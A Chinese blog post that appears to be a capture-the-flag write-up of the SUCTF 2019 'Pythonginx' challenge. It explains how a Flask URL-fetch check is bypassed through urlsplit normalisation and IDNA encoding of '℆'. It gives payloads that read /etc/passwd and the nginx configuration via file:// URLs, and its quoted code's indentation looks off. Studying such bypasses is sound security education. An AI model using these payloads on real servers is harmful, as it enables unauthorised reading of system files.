04-python代码审计

eg1:

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname  #解析主机名
    if host == 'suctf.cc': 
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1] 
    if host == 'suctf.cc': 
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): 
        newhost.append(h.encode('idna').decode('utf-8')) 
        parts[1] = '.'.join(newhost) #去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] # 将主机名再次组合成 url
        host = parse.urlparse(finalUrl).hostname 
        if host == 'suctf.cc': 
            return urllib.request.urlopen(finalUrl).read() 
        else: 
            return "我扌 your problem? 333" 

   前两个 if 判断 host是否含有 suctf.cc 如果有就报错,经过 utf-8 解码 idna 编码 之后传入到 urlunsplit函数 组合成url ,再用 if 和suctf.cc进行一次比较 如果相同 就 进行读取。

方法一:

可以利用urlsplit不处理NFKC标准化进行文件读取:

?url=file:////suctf.cc/etc/passwd

方法二:

先了解下idna

我们先了解下 idna
idna 国际化域名应用,国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以
ASCII字符串存储。
.
℆这个字符,如果使用python3进行idna编码的话
print(‘℆’.encode(‘idna’))
结果
b’c/u’
如果再使用utf-8进行解码的话
print(b’c/u’.decode(‘utf-8’))
结果
c/u
通过这种方法可以绕过本题
View Code

可以通过以下方法读取文件

?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

参考链接:

[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN博客

[SUCTF 2019]Pythonginx 1_hcjtn的博客-CSDN博客

posted @ 2023-12-04 18:34  咿呀鲸落  阅读(27)  评论(0编辑  收藏  举报